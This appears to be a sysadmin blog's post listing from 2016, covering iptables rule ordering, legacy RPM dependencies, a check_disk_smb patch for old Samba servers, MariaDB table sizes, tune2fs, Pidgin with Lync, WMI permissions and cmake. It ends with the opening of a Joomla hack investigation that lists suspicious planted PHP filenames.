Header RSS Feed
 
If you only want to see the articles of a certain category, please click on the desired category below:
ALL Android Backup BSD Database Hacks Hardware Internet Linux Mail MySQL Nagios/Monitoring Network Personal PHP Proxy Shell Solaris Unix Virtualization VMware Windows Wyse

Move an iptables firewall rule up the chain before a reject rule
Thursday - Feb 4th 2016 - by - (0 comments)

Tried to add a CentOS 6.5 server from an old server environment to Icinga 2.
However the connecton to NRPE didn't work, although I added an iptables rule to allow tcp/5666 on the CentOS machine:

root@centos ~]# iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 5666 -j ACCEPT

On the Icinga server I tried a quick verification with telnet and it failed:

root@icinga:~# telnet centosip 5666
Trying centosip...
telnet: Unable to connect to remote host: No route to host

First I suspected routing or VPN issues (the mentioned old server environment was added into our enterprise LAN by using a VPN tunnel), but tcpdump on the centos machine showed me an incoming connection:

[root@centos ~]# tcpdump port 5666
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15:49:01.018023 IP icingaip.58437 > centos.5666: Flags [S], seq 1750895406, win 29200, options [mss 1368,sackOK,TS val 1991589648 ecr 0,nop,wscale 7], length 0

A quick look at the iptables revealed something interesting:

[root@centos ~]# iptables -nvL
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source       destination        
  21G 4775G ACCEPT     all  --  *      *       0.0.0.0/0    0.0.0.0/0      state RELATED,ESTABLISHED
21667 1820K ACCEPT     icmp --  *      *       0.0.0.0/0    0.0.0.0/0     
1235K   74M ACCEPT     all  --  lo     *       0.0.0.0/0    0.0.0.0/0     
 3297  198K ACCEPT     tcp  --  *      *       0.0.0.0/0    0.0.0.0/0      state NEW tcp dpt:22
 631M   38G ACCEPT     tcp  --  *      *       0.0.0.0/0    0.0.0.0/0      tcp dpt:9200
 265K   16M ACCEPT     tcp  --  *      *       0.0.0.0/0    0.0.0.0/0      tcp dpt:9300
   58  3480 ACCEPT     tcp  --  *      *       0.0.0.0/0    0.0.0.0/0      tcp dpt:80
  18M 1852M REJECT     all  --  *      *       0.0.0.0/0    0.0.0.0/0      reject-with icmp-host-prohibited
    0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0    0.0.0.0/0      state NEW tcp dpt:5666

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source       destination        
    0     0 REJECT     all  --  *      *       0.0.0.0/0    0.0.0.0/0      reject-with icmp-host-prohibited

Chain OUTPUT (policy ACCEPT 2131 packets, 593K bytes)
 pkts bytes target     prot opt in     out     source          destination

The INPUT policy was set to ACCPT, however a "REJECT" rule was added. It the machine would have been set up by me, I'd rather use a policy REJECT and define accept rules... but that train has departed and the machine was set up this way years ago.
So the problem now is that the newly added rule for port tcp/5666 was added after the general reject line.

Unfortunately a rule cannot be just "moved up" in the list, but it can be recreated with a fixed position.

By using the --line-n parameter, the same rules can be looked at with the rule numbers:

[root@centos ~]# iptables -nvL --line-n
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num   pkts bytes target     prot opt in     out  source      destination        
1      21G 4775G ACCEPT     all  --  *      *    0.0.0.0/0   0.0.0.0/0      state RELATED,ESTABLISHED
2    21678 1821K ACCEPT     icmp --  *      *    0.0.0.0/0   0.0.0.0/0          
3    1235K   74M ACCEPT     all  --  lo     *    0.0.0.0/0   0.0.0.0/0          
4     3299  198K ACCEPT     tcp  --  *      *    0.0.0.0/0   0.0.0.0/0      state NEW tcp dpt:22
5     631M   38G ACCEPT     tcp  --  *      *    0.0.0.0/0   0.0.0.0/0      tcp dpt:9200
6     265K   16M ACCEPT     tcp  --  *      *    0.0.0.0/0   0.0.0.0/0      tcp dpt:9300
7       58  3480 ACCEPT     tcp  --  *      *    0.0.0.0/0   0.0.0.0/0      tcp dpt:80
8      18M 1852M REJECT     all  --  *      *    0.0.0.0/0   0.0.0.0/0      reject-with icmp-host-prohibited
9        0     0 ACCEPT     tcp  --  *      *    0.0.0.0/0   0.0.0.0/0      state NEW tcp dpt:5666

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
num   pkts bytes target     prot opt in     out  source      destination        
1        0     0 REJECT     all  --  *      *    0.0.0.0/0   0.0.0.0/0      reject-with icmp-host-prohibited

Chain OUTPUT (policy ACCEPT 124K packets, 32M bytes)
num   pkts bytes target     prot opt in     out  source      destination     

 So if I delete the rule and insert it before the reject line, it should be fine.

[root@centos ~]# iptables -D INPUT -p tcp -m state --state NEW -m tcp --dport 5666 -j ACCEPT
[root@centos ~]# iptables -I INPUT 7 -p tcp -m state --state NEW -m tcp --dport 5666 -j ACCEPT

[root@centos ~]# iptables -nvL
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source       destination         
  21G 4775G ACCEPT     all  --  *      *       0.0.0.0/0    0.0.0.0/0      state RELATED,ESTABLISHED
21693 1822K ACCEPT     icmp --  *      *       0.0.0.0/0    0.0.0.0/0           
1235K   74M ACCEPT     all  --  lo     *       0.0.0.0/0    0.0.0.0/0         
 3301  198K ACCEPT     tcp  --  *      *       0.0.0.0/0    0.0.0.0/0      state NEW tcp dpt:22
 631M   38G ACCEPT     tcp  --  *      *       0.0.0.0/0    0.0.0.0/0      tcp dpt:9200
 265K   16M ACCEPT     tcp  --  *      *       0.0.0.0/0    0.0.0.0/0      tcp dpt:9300
    1    60 ACCEPT     tcp  --  *      *       0.0.0.0/0    0.0.0.0/0      state NEW tcp dpt:5666
   58  3480 ACCEPT     tcp  --  *      *       0.0.0.0/0    0.0.0.0/0      tcp dpt:80
  18M 1852M REJECT     all  --  *      *       0.0.0.0/0    0.0.0.0/0      reject-with icmp-host-prohibited

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source       destination         
    0     0 REJECT     all  --  *      *       0.0.0.0/0    0.0.0.0/0       reject-with icmp-host-prohibited

Chain OUTPUT (policy ACCEPT 3302 packets, 955K bytes)
 pkts bytes target     prot opt in     out     source       destination         

The rule for tcp 5666 was inserted (-I) at line 7, pushing down the previous line 7 (tcp/80) down. It is now definitely above the reject rule, so will it work?

root@icinga:~# telnet centosip 5666
Trying centosip...
Connected to centosip.
Escape character is '^]'.
^]quit

telnet> quit

Yes, it worked!

 

The fight to find rpms for old Red Hat Linux servers
Tuesday - Feb 2nd 2016 - by - (0 comments)

Wow - I need to add a RHEL4 server into the new Icinga 2 monitoring. It's not the oldest installation I've seen so far (a couple of years ago I added a FreeBSD 5.x and a Red Hat 7 into the monitoring...) but with older and EOL distros it's always a fight to find the necessary software.

I simply wanted to install the nagios-plugins package, which I was luckily able to find on rpmfind.net. However:

rpm -i --test nagios-plugins-1.4.16-1.el4.rf.i386.rpm
error: Failed dependencies:
        fping is needed by nagios-plugins-1.4.16-1.el4.rf.i386
        perl(Net::SNMP) is needed by nagios-plugins-1.4.16-1.el4.rf.i386

And now the quest began. fping itself was pretty easy:

rpm -ivh fping-3.10-1.el4.rf.i386.rpm
Preparing...                ########################################### [100%]
   1:fping                  ########################################### [100%]

But perl-Net-Snmp asked for other dependencies which were hard to find:

rpm -i --test perl-Net-SNMP-5.2.0-1.2.el4.rf.noarch.rpm
error: Failed dependencies:
        perl(Crypt::DES) is needed by perl-Net-SNMP-5.2.0-1.2.el4.rf.noarch
        perl(Digest::HMAC) is needed by perl-Net-SNMP-5.2.0-1.2.el4.rf.noarch
        perl(Digest::SHA1) is needed by perl-Net-SNMP-5.2.0-1.2.el4.rf.noarch
        perl(Socket6) >= 0.19 is needed by perl-Net-SNMP-5.2.0-1.2.el4.rf.noarch

Especially perl-digest-hmac and perl-digest-sha1 was difficult to find, but eventually I came across a private mirror for EL4.

So at the end the following rpm's were downloaded and installed:

rpm -ivh fping-3.10-1.el4.rf.i386.rpm
rpm -ivh perl-Digest-SHA-5.71-1.el4.rf.i386.rpm
rpm -ivh perl-Crypt-DES-2.05-3.2.el4.rf.i386.rpm
rpm -ivh perl-Digest-SHA1-2.13-1.el4.rfx.i386.rpm
rpm -ivh perl-Digest-HMAC-1.03-1.el4.pp.noarch.rpm
rpm -ivh perl-Socket6-0.23-1.el4.pp.i386.rpm
rpm -ivh perl-Net-SNMP-5.2.0-1.2.el4.rf.noarch.rpm
rpm -ivh nagios-plugins-1.4.16-1.el4.rf.i386.rpm

Oh how much I love well configured software dependency resolver like zypper or apt (or even yum), if a working repo was available...

 

check_disk_smb: Access Denied when monitoring share on old Samba server
Friday - Jan 29th 2016 - by - (0 comments)

During the migration of a monitoring system from Nagios 4 to Icinga 2, I wanted to add a monitoring of Samba shares of the target server (running an older Samba version on SLES10).

In the Nagios 4 setup, only a general check, whether Samba responded or not, was active. In the new monitoring setup I wanted to monitor the shares directly, by using check_disk_smb.

To my big surprise the check didn't work and showed me "Access Denied", although the nagios user was created and enabled on the target system and the password is correct:

root@icinga2:/usr/lib/nagios/plugins# ./check_disk_smb -H sambaserver -s share -u nagios -p password
Access Denied

I enabled debug logging on the Samba server to find out what's going on. This is what I got from the logs when the plugin ran:

[2016/01/28 09:04:21, 3] smbd/oplock.c:init_oplocks(863)
  init_oplocks: initializing messages.
[2016/01/28 09:04:21, 3] smbd/oplock_linux.c:linux_init_kernel_oplocks(234)
  Linux kernel oplocks enabled
[2016/01/28 09:04:21, 3] smbd/process.c:process_smb(1083)
  Transaction 0 of length 194
[2016/01/28 09:04:21, 3] smbd/process.c:switch_message(932)
  switch message SMBnegprot (pid 32416) conn 0x0
[2016/01/28 09:04:21, 3] smbd/sec_ctx.c:set_sec_ctx(241)
  setting sec ctx (0, 0) - sec_ctx_stack_ndx = 0
[2016/01/28 09:04:21, 3] smbd/negprot.c:reply_negprot(505)
  Requested protocol [PC NETWORK PROGRAM 1.0]
[2016/01/28 09:04:21, 3] smbd/negprot.c:reply_negprot(505)
  Requested protocol [MICROSOFT NETWORKS 1.03]
[2016/01/28 09:04:21, 3] smbd/negprot.c:reply_negprot(505)
  Requested protocol [MICROSOFT NETWORKS 3.0]
[2016/01/28 09:04:21, 3] smbd/negprot.c:reply_negprot(505)
  Requested protocol [LANMAN1.0]
[2016/01/28 09:04:21, 3] smbd/negprot.c:reply_negprot(505)
  Requested protocol [LM1.2X002]
[2016/01/28 09:04:21, 3] smbd/negprot.c:reply_negprot(505)
  Requested protocol [DOS LANMAN2.1]
[2016/01/28 09:04:21, 3] smbd/negprot.c:reply_negprot(505)
  Requested protocol [LANMAN2.1]
[2016/01/28 09:04:21, 3] smbd/negprot.c:reply_negprot(505)
  Requested protocol [Samba]
[2016/01/28 09:04:21, 3] smbd/negprot.c:reply_nt1(351)
  not using SPNEGO
[2016/01/28 09:04:21, 3] smbd/negprot.c:reply_negprot(606)
  Selected protocol NT LANMAN 1.0
[2016/01/28 09:04:21, 3] smbd/process.c:process_smb(1083)
  Transaction 1 of length 150
[2016/01/28 09:04:21, 3] smbd/process.c:switch_message(932)
  switch message SMBsesssetupX (pid 32416) conn 0x0
[2016/01/28 09:04:21, 3] smbd/sec_ctx.c:set_sec_ctx(241)
  setting sec ctx (0, 0) - sec_ctx_stack_ndx = 0
[2016/01/28 09:04:21, 3] smbd/sesssetup.c:reply_sesssetup_and_X(1258)
  wct=13 flg2=0xc043
[2016/01/28 09:04:21, 3] smbd/sesssetup.c:reply_sesssetup_and_X(1404)
  Domain=[WORKGROUP]  NativeOS=[Unix] NativeLanMan=[Samba 4.1.6-Ubuntu] PrimaryDomain=[]
[2016/01/28 09:04:21, 3] smbd/sesssetup.c:reply_sesssetup_and_X(1419)
  sesssetupX:name=[WORKGROUP]\[nagios]@[icingaserver]
[2016/01/28 09:04:21, 3] smbd/sesssetup.c:check_guest_password(142)
  Got anonymous request
[2016/01/28 09:04:21, 3] auth/auth.c:check_ntlm_password(221)
  check_ntlm_password:  Checking password for unmapped user []\[]@[] with the new password interface
[2016/01/28 09:04:21, 3] auth/auth.c:check_ntlm_password(224)
  check_ntlm_password:  mapped user is: []\[]@[]
[2016/01/28 09:04:21, 3] smbd/sec_ctx.c:push_sec_ctx(208)
  push_sec_ctx(0, 0) : sec_ctx_stack_ndx = 1
[2016/01/28 09:04:21, 3] smbd/uid.c:push_conn_ctx(408)
  push_conn_ctx(0) : conn_ctx_stack_ndx = 0
[2016/01/28 09:04:21, 3] smbd/sec_ctx.c:set_sec_ctx(241)
  setting sec ctx (0, 0) - sec_ctx_stack_ndx = 1
[2016/01/28 09:04:21, 3] smbd/sec_ctx.c:pop_sec_ctx(356)
  pop_sec_ctx (0, 0) - sec_ctx_stack_ndx = 0
[2016/01/28 09:04:21, 3] smbd/sec_ctx.c:push_sec_ctx(208)
  push_sec_ctx(0, 0) : sec_ctx_stack_ndx = 1
[2016/01/28 09:04:21, 3] smbd/uid.c:push_conn_ctx(408)
  push_conn_ctx(0) : conn_ctx_stack_ndx = 0
[2016/01/28 09:04:21, 3] smbd/sec_ctx.c:set_sec_ctx(241)
  setting sec ctx (0, 0) - sec_ctx_stack_ndx = 1
[2016/01/28 09:04:21, 3] smbd/sec_ctx.c:pop_sec_ctx(356)
  pop_sec_ctx (0, 0) - sec_ctx_stack_ndx = 0
[2016/01/28 09:04:21, 3] auth/auth.c:check_ntlm_password(270)
  check_ntlm_password: guest authentication for user [] succeeded
[2016/01/28 09:04:21, 3] smbd/process.c:timeout_processing(1356)
  timeout_processing: End of file from client (client has disconnected).
[2016/01/28 09:04:21, 3] smbd/sec_ctx.c:set_sec_ctx(241)
  setting sec ctx (0, 0) - sec_ctx_stack_ndx = 0
[2016/01/28 09:04:21, 3] smbd/connection.c:yield_connection(69)
  Yielding connection to
[2016/01/28 09:04:21, 3] smbd/server.c:exit_server_common(766)
  Server exit (normal exit)

The interesting and relevant part in this case are the following lines:

[2016/01/28 09:04:21, 3] smbd/process.c:timeout_processing(1356)
  timeout_processing: End of file from client (client has disconnected).

It's the client's fault?!

Now check_disk_smb uses smbclient in the background. So I tried to use smbclient directly to see more information. And yes; smbclient shows some much needed information:

root@icinga2:~# smbclient //sambaserver/share -U nagios
Enter nagios's password:
Domain=[FTPSERVERS] OS=[Unix] Server=[Samba 3.0.36-0.13.12.1-2426-SUSE-CODE10]
Server not using user level security and no password supplied.
Server requested LANMAN password (share-level security) but 'client lanman auth = no' or 'client ntlmv2 auth = yes'
tree connect failed: NT_STATUS_ACCESS_DENIED

I verified the Samba server config on the sambaserver and the security is indeed set to "security = share".

sambaserver:/etc/samba # grep security smb.conf
    security = share

After some research it turns out that this causes several problems. One of them is that as authentication mechanism the old "lanman" protocol is used, which is considered weak.
On the client side, in this case the Icinga server on which the plugin and smbclient runs, is an up to date Ubunttu 14.04 and "client lanman auth" is by default disabled and on the same time "client ntlmv2 auth" is by default set to yes.

I could have just set these two options as needed into /etc/samba/smb.conf, but then all my other Samba share checks on other Samba servers would fail.
Luckily smbclient has an option -s/--configfile. With this option, a separate config file with different values than in smb.conf can be used.
In this scenario I created a seperate file with the relevant settings especially for my target sambaserver:

root@icinga2:~# cat /tmp/smbclientconfig.cfg
[global]
client lanman auth = Yes
client ntlmv2 auth = No

Now I launch the same smbclient command as before, but additionally I use the separate config file:

root@icinga2:~# smbclient //sambaserver/share -U nagios --configfile=/tmp/smbclientconfig.cfg -d 4
lp_load_ex: refreshing parameters
Initialising global parameters
rlimit_max: increasing rlimit_max (1024) to minimum Windows limit (16384)
params.c:pm_process() - Processing configuration file "/tmp/smbclientconfig.cfg"
Processing section "[global]"
doing parameter client lanman auth = Yes
doing parameter client ntlmv2 auth = No
pm_process() returned Yes
added interface eth0 ip=10.10.15.40 bcast=10.10.15.255 netmask=255.255.255.0
Client started (version 4.1.6-Ubuntu).
Enter nagios's password:
Connecting to sambaserver at port 445
 session request ok
Domain=[FTPSERVERS] OS=[Unix] Server=[Samba 3.0.36-0.13.12.1-2426-SUSE-CODE10]
 session setup ok
Server not using user level security and no password supplied.
 tconx ok

As the debug output shows, the separate config file was parsed. And: The connection worked!

So it's possible to connect with smbclient to an older Samba server (with weird and outdated settings, I agree). But what about the Monitoring plugin?
Unfortunately check_disk_smb does not have an option to use a separate config file. But hey! I can do some Perl! :-)

I adapted the check_disk_smb plugin, which is a perl script, to allow a new paramter -C/--configfile which allows to use a separate config file for smbclient:

root@icinga:/usr/lib/nagios/plugins# ./check_disk_smb.new -H sambaserver -s share -u nagios -p password -C /tmp/smbclientconfig.cfg
Disk ok - 11.95G (39%) free on \\sambaserver\share | 'share'=19374014464B;27379525222.4;30600645836.8;0;32211206144

root@icinga:/usr/lib/nagios/plugins# ./check_disk_smb.new -H sambaserver -s share -u nagios -p password --configfile /tmp/smbclientconfig.cfg
Disk ok - 11.95G (39%) free on \\sambaserver\share | 'share'=19374014464B;27379525222.4;30600645836.8;0;32211206144

Here's the diff between the original check_disk_smb and my patched version:

root@icinga:~# diff check_disk_smb check_disk_smb.new
< use vars qw($opt_P $opt_V $opt_h $opt_H $opt_s $opt_W $opt_u $opt_p $opt_w $opt_c $opt_a $verbose);
---
> use vars qw($opt_P $opt_V $opt_h $opt_H $opt_s $opt_W $opt_u $opt_p $opt_w $opt_c $opt_a $opt_C $verbose);
52c52,53
<      "a=s" => \$opt_a, "address=s" => \$opt_a);
---
>      "a=s" => \$opt_a, "address=s" => \$opt_a,
>      "C=s" => \$opt_C, "configfile=s" => \$opt_C);
89a91,94
> ($opt_C) || ($opt_C = shift @ARGV) || ($opt_C = "");
> my $configfile = $opt_C if ($opt_C);
> usage("Unable to read config file $configfile\n") if ($configfile) && (! -r $configfile);
>   
189a195
>     defined($configfile) ? ("-s", $configfile) : (),
289c295
<       -w -c [-W ] [-P ] [-a ]\n";
---
>       -w -c [-W ] [-P ] [-a ] [-C ]\n";
315d320
<       
319a325,326
> -C, --configfile=STRING
>    Path to configfile which should be used by smbclient (Defaults to smb.conf of your smb installation)

Of course I shared the changes with the two upstream projects "monitoring-plugins" and "nagios-plugins":

https://github.com/monitoring-plugins/monitoring-plugins/pull/1402
https://github.com/nagios-plugins/nagios-plugins/pull/135

Hope it'll be of use for someone else, too.

 

How to measure the size of tables in MariaDB/MySQL
Wednesday - Jan 27th 2016 - by - (0 comments)

One cannot simply run "du" on the MySQL/MariaDB table files to measure the size. A much better and correct way is to get the information from the information_schema table:

MariaDB [(none)]> SELECT
    ->      table_schema as `Database`,
    ->      table_name AS `Table`,
    ->      round(((data_length + index_length) / 1024 / 1024), 2) `Size in MB`
    -> FROM information_schema.TABLES
    -> ORDER BY (data_length + index_length) DESC LIMIT 0,10;

+----------+-----------------------------+------------+
| Database | Table                       | Size in MB |
+----------+-----------------------------+------------+
| shopware | s_core_snippets             |       5.03 |
| test1    | log_request                 |       4.63 |
| shopware | saferpaycw_transaction      |       4.53 |
| test1    | log_request_parameter       |       3.03 |
| shopware | s_core_sessions_backend     |       2.47 |
| shopware | s_articles_similar_shown_ro |       2.39 |
| test1    | object_container            |       1.59 |
| shopware | s_core_log                  |       1.52 |
| shopware | s_emarketing_lastarticles   |       1.38 |
| shopware | s_core_sessions             |       1.20 |
+----------+-----------------------------+------------+
10 rows in set (0.00 sec)

The query above lists the 10 largest tables over all databases on this MariaDB server.

And as a one-liner:

SELECT table_schema as `Database`, table_name AS `Table`, round(((data_length + index_length) / 1024 / 1024), 2) `Size in MB` FROM information_schema.TABLES ORDER BY (data_length + index_length) DESC LIMIT 0,10;

Found on http://stackoverflow.com/questions/9620198/how-to-get-the-sizes-of-the-tables-of-a-mysql-database.

Back to the first sentence, where I mentioned "du". What does du think about the size of the largest table:

# du -ksh /var/lib/mysql/shopware/s_core_snippets.*
4.0K    /var/lib/mysql/shopware/s_core_snippets.frm
13M    /var/lib/mysql/shopware/s_core_snippets.ibd

Here we go.

 

Backup partition (ext4) running out of space? tune2fs to the rescue!
Thursday - Jan 14th 2016 - by - (0 comments)

A partition, uniquely reserved for backups, was running out of space. To immediately free some space, I decided to remove the 5% reserved disk allocation (that's the ext4 default) and set it to 0%.

df before:

/dev/mapper/vgdata2-backup  ext4   906G  856G  3.7G 100% /backup

command:

tune2fs -m 0 /dev/mapper/vgdata2-backup

df afterwards:

/dev/mapper/vgdata2-backup  ext4   906G  856G   50G  95% /backup

Fast and easy.

Side note: Never do this on your system partition!

 

Connect with Pidgin to Lync 2013 in Linux Mint 13.7 (Ubuntu 14.04)
Wednesday - Jan 13th 2016 - by - (0 comments)

It took me quite a while but eventually I got it working: Using Pidgin on Linux Mint and connect it to the company's Lync 2013 server. I installed the following packages:

sudo apt-get install pidgin pidgin-sipe

Afterwards I needed to handle quite a few hickups.

Problem 1: Self-Signed certificates

The first problem was that the internal SIP server had self-signed certificates and Pidgin refused to connect to the server:

(10:24:14) proxy: Connected to sipserver01:5061.
(10:24:14) nss: subject=CN=sipserver01.company.local,OU=IT,O=Company,L=Zuerich,ST=Zuerich,C=CH issuer=CN=Company CA,O=Company,C=CH
(10:24:14) nss: partial certificate chain
(10:24:14) certificate/x509/tls_cached: Starting verify for sipserver01
(10:24:14) certificate/x509/tls_cached: Checking for cached cert...
(10:24:14) certificate/x509/tls_cached: ...Not in cache
(10:24:14) nss: CERT 0. CN=sipserver01.nzzmg.local,OU=IT,O=Company,L=Zuerich,ST=Zuerich,C=CH :
(10:24:14) nss:   ERROR -8179: SEC_ERROR_UNKNOWN_ISSUER
(10:24:14) certificate: Failed to verify certificate for poolzh01
(10:24:14) connection: Connection error on 0x7fc15343b8f0 (reason: 0 description: SSL peer presented an invalid certificate)

Although there are a lot of pidgin bugs/requests open to allow self-signed certificates, there is a manual workaround. I downloaded the SSL certificate by using the following openssl command:

openssl s_client -connect sip.company.local:443

This gave me the output of the server's first certificate and the information with which certificate it was signed. This turned out to be another self-signed CA certificate which was deployed on all Windows workstations.
In order to get the CA certificate I went into a Windows machine running in the company's domain, I did the following steps:

Open Internet Explorer -> Internet Options -> Content (Inhalte in German) -> Certificates -> Intermediate Certification Authorities (Zwischenzertifizierungsstellen)

In my case, the company's CA certificate could be selected in this list and I exported it as Base-64 coded X509 certificate.

Now that I got both certificates (the main server certificate plus it's issuing certificate), I saved them in the following paths:

  • ~/.purple/certificates/x509/tls_cached/
  • ~/.purple/certificates/x509/tls_peers/

 However this was still not sufficiant because Pidgin reported that the Company CA certificate was not trusted. So I needed to copy the CA certificate into /etc/ssl/certs, too. After this, first success:

(10:39:13) certificate/x509/ca: Lazy init completed.
(10:39:13) nss/x509: Exporting certificate to /home/admck/.purple/certificates/x509/tls_peers/sipserver.company.local
(10:39:13) util: Writing file /home/admck/.purple/certificates/x509/tls_peers/sipserver.company.local
(10:39:13) nss: Trusting CN=sipserver01.company.local,OU=IT,O=Company,L=Zuerich,ST=Zuerich,C=CH
(10:39:13) certificate: Successfully verified certificate for sipserver.company.local
(10:39:13) stun: using server

Problem 2: Authentication problems - update pidgin-sipe plugin

I found a lot of pages describing different Pidgin settings to connect to Lync, here are some:

I tried all kinds of combination using NTLM, Auto, TLS authentication, etc. I got a "401 - Unauthorized: Access is denied due to invalid credentials", later a "certificate request failed", depending on the settings.

Eventually I decided to try the newest piding-sipe plugin (as of this writing 1.20). Unfortunately in Linux Mint 13.7 (and therefore Ubuntu 14.04 trusty), the package version is at 1.17. I decided to add a PPA repository which contained the new version:

sudo add-apt-repository ppa:sipe-collab/ppa
You are about to add the following PPA to your system:
 More info: https://launchpad.net/~sipe-collab/+archive/ubuntu/ppa
Press [ENTER] to continue or ctrl-c to cancel adding it

Executing: gpg --ignore-time-conflict --no-options --no-default-keyring --homedir /tmp/tmp.LiRa3uJQ8z --no-auto-check-trustdb --trust-model always --keyring /etc/apt/trusted.gpg --primary-keyring /etc/apt/trusted.gpg --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys F93FF666
gpg: requesting key F93FF666 from hkp server keyserver.ubuntu.com
gpg: key F93FF666: public key "Launchpad PPA for Sipe plugin collaboration" imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)

And then installed the new version:

sudo apt-get install pidgin-sipe
[...]
The following packages will be upgraded:
  libnice10 libpurple0 pidgin pidgin-data pidgin-sipe
[...]

Besides showing more details in the debug log, the new pidgin-sipe version also offered an additional authentication mechanism (but it's not needed in this case).

Solving it: Using the correct settings

Although I updated pidgin-sipe to the newest version, the same errors still appeared: "sipe certificate request CertProvisioningService.svc failed" and other failures with "Webticket failed". Finally I got it working with the follwing account settings:

[ Basic ]

Protocol: Office Communicator
Username: myemail@company.local
Login: Empty
Password: mypassword
Local alias: Empty

[ Advanced ]

Server[:Port]: Empty
Connection type: Auto
User Agent: UCCAPI/4.0.7577.0 OC/4.0.7577.0 (Microsoft Lync 2010)
Authentication scheme: Auto
Use Single Sign-On: Not checked

The fact that server/port is left empty requires a correct DNS setup for your domaine. Check out https://technet.microsoft.com/en-us/library/gg398758%28v=ocs.15%29.aspx for more information.

Interestingly, the User Agent seems to be very important for the connection.

Pidgin connect to Lync server

With these settings I was finally able to connect to the Lync server with Pidgin!

 

Use WMI for monitoring auto-discovery on Windows Server
Monday - Jan 11th 2016 - by - (0 comments)

I'm currently working on an internal solution to auto-discover objects to be monitored on a remote Windows server. The goal is to use a web form where the administrator can enter basic information (like IP address) of the remote Windows host and the script auto-detects objects to be monitored; for example services or drives.The script then builds an Icinga2 config which then uses check_nt in the background (NSClient++ installed on the Windows server).

I chose to use WMI for the auto-discovery part. After I successfully compiled and installed the WMI cli (wmic) I was able to launch WMI-SQL/WQL queries on the remote Windows system:

/usr/bin/wmic -U "domain/sa_icinga%passwd" //windowsserver 'select DeviceID from Win32_LogicalDisk where DriveType = 3'
CLASS: Win32_LogicalDisk
DeviceID
C:
D:

However the tricky part was to create a non-administrator user who's able to launch remote WMI calls. Unfortunately the official Windows documentation (Authorize WMI users and set permissions) is somewhat incomplete and simply says:

To perform this task on a remote computer, the account with which you are logged on must be a member of the Administrators group of that computer.

This is actually not true - and I certainly don't want to give administrator privileges to a user just used for monitoring or in this case auto-discovery for objects to be monitored. The simplest way for me turned out to be the following way.

1. Create a new service user in the domain (or as a local user if the Windows server is not part of a domain). In my case this is the "sa_icinga" service account as you see above in the wmic command.

2. Assign this user to the following local groups:

  • Distributed COM Users
  • Performance Log Users
  • Performance Monitor Users

(Start -> Right-Click Computer -> Manage -> Configuration -> Local Users and Groups -> Groups)

3. Modify WMI remote settings in the WMI Control Properties (Start -> Right-Click Computer -> Manage -> Configuration -> Right-Click WMI Control -> Properties).
Switch to the "Security" tab and expand the "Root" object. Select the "CIMV2" element and click on the "Security" button:

Windows WMI CIMV2 

Add the service user and select "Enable Account" and "Remote Enable" in the "Allow column:

Windows WMI Security 

This was successfully tested on a Windows 2008 R2 Standard server.

Update January 22nd 2016:

It turns out that with this configuration most of the checks and discoveries can be done, however the sa_icinga user was not able to show a full list of Windows services. Only a fraction of the services list was shown.
So once again I tried to figure out how to give the non-administrator user "sa_icinga" the required permissions and found the following howto: http://knowledgebase.solarwinds.com/kb/questions/3304/How+to+create+a+non-administrator+user+for+SAM+polling.  So far that's the best HowTo I found for this topic. However the solution is to change the security permissions for each service - in reality this is just not possible and I'm not Windows-hardcore enough to pull a PowerShell script or similar out of my pocket.
Another hint I found was on the OP5 Knowledge base, where it says:

When using a non-administrator user it is not possible to monitor all Windows services.
Some services require that some security settings in Windows is modified which is out of scoop for this how-to.

Yap, that's exactly the issue I'm seeing.

So, as frustrating it is, I added the sa_icinga user to the local Administrators group.
However, I disabled Remote Desktop connections for this sa_icinga user. This can be done in Active Directory Users + Computers: Properties of sa_icinga -> Remote Desktop Services Profile -> Deny this user permissions to log on to Remote Desktop Session Host server.
At least this way nobody can abuse this monitoring service account for anonymous logins.

 

Installing and use cmake 3.4.1 in Ubuntu 14.04 using alternatives
Thursday - Jan 7th 2016 - by - (0 comments)

Due to a developer request I needed to install the latest cmake 3.4.1 on an Ubuntu 14.04 LTS, however in trusty the cmake version is somewhat outdated (2.8.12) and there are no newer version in trusty-backports either.

On Ubuntu PPA I found a personal repository from Nathan Osman for cmake 3.x packages which sounds about the right source. Unfortunately this PPA does not contain the 3.4.1 version yet, so I had to go and compile cmake myself.

Compiling of cmake is pretty straight forward:

wget http://www.cmake.org/files/v3.4/cmake-3.4.1.tar.gz
tar -xvzf cmake-3.4.1.tar.gz
cd cmake-3.4.1/
./configure
make

Make's install command installs cmake by default in /usr/local/bin/cmake, shared files are installed into /usr/local/share/cmake-3.4.

sudo make install

Now I wanted to tell Ubuntu that the cmake command is now being replaced by an alternative installation. This can be done using update-alternatives:

update-alternatives --install /usr/bin/cmake cmake /usr/local/bin/cmake 1 --force

This tells Ubuntu to create a new alternative for /usr/bin/cmake by using /usr/local/bin/cmake. The name of this replacement/alternative is "cmake". In my case I needed to add --force because cmake was already installed and the /usr/bin/cmake binary wasn't replaced with the symlink otherwise.

Now cmake is available system wide and can be launched with the new 3.4.1 version:

cmake --version
cmake version 3.4.1

CMake suite maintained and supported by Kitware (kitware.com/cmake).

 

Joomla CMS 3.4.5 hacked through RCE vulnerability
Monday - Jan 4th 2016 - by - (0 comments)

Got a request to investigate a hack on a website using Joomla CMS. Without having more information about the nature of the hack, I started to look for recently modified files and found a couple of them with interesting filenames:

-rw-r--r-- 1 www-data www-data 90322 Dec 20 17:18 ./example.com/images/sampledata/fruitshop/sql_95.php
-rw-r--r-- 1 www-data www-data 90322 Dec 20 17:18 ./example.com/components/com_users/cache_95.php
-rw-r--r-- 1 www-data www-data 90322 Dec 20 17:18 ./example.com/components/com_search/views/search/cache_95.php
-rw-r--r-- 1 www-data www-data 90322 Dec 20 17:18 ./example.com/modules/mod_footer/sql_952.php
-rw-r--r-- 1 www-data www-data 90322 Dec 20 17:18 ./example.com/images/sampledata/fruitshop/sql_95.php
